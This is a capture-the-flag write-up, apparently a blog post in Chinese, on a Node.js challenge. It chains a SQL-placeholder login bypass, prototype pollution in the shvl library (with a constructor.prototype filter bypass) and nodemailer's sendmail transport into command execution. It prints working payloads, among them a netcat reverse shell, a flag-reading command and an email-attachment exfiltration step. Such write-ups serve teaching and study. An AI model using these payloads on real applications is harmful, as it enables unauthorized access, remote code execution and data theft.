SCTF做到一道挺有意思的题,听晨曦✌说跟这题类似

image-20241009180233508

直接找到对应的signin的部分

image-20241009180427984

跟进user.signin

image-20241009180920389

使用的是sql的占位符,无法直接注入

当我们传入Object的时候,参数会被转化成key=value的格式拼⼊

可以构造万能密码,传入后登录成功,进入admin

1
{"username":"admin","password":{"password":true}}

登录后发先邮件功能,源码如下

image-20241009184951334

这里使用了shvl进行对象的属性及赋值问题

image-20241009185416650

image-20241009185500720

poc

1
2
3
4
5
const shvl = require('shvl');
var obj = {}
console.log("Before : " + obj.isAdmin);
shvl.set(obj, '__proto__.isAdmin', true);
console.log("After : " + obj.isAdmin);

diff两个版本的源码

image-20241009190222518

__proto__过滤了,可以用constructor.prototype来bypass

利用nodemailer

跟进send函数,使用的是nodemailer发送邮件

image-20241009190901147

查看源码

全局搜索child_process

1
lib/sendmail-transport/index.js

image-20241009191352124

跟进path从哪来的

image-20241009191743731

options从前面实例化的时候传入

image-20241009191959257

args

args也是从上面赋值

image-20241009192305777

那么这两个参数都可以被污染

继续跟踪options.sendmail

image-20241009193423623

这里实例化了刚才跟踪的类,所以需要使

1
option.sendmail=True
1
2
3
sendmail -> true
path -> command which we want to execute
args -> an array containing the arguments to execute the command

所以就可以命令执行了,可以反弹shell,也可以发邮件

1
2
3
4
5
6
7
8
{
"constructor.prototype.sendmail":true,
"constructor.prototype.path":"sh",
"constructor.prototype.args":[
"-c",
"nc ip port -e /bin/sh"
]
}
1
2
3
4
5
6
7
8
{
"constructor.prototype.sendmail":true,
"constructor.prototype.path":"sh",
"constructor.prototype.args":[
"-c",
"/readflag > /tmp/flag.txt"
]
}

用attatchment带出

1
2
3
4
5
6
7
8
9
10
{
"to":"i@example.com",
"subject":"flag",
"constructor.prototype.attachments":[
{
"filename":"flag.txt",
"path":"/tmp/flag.txt"
}
]
}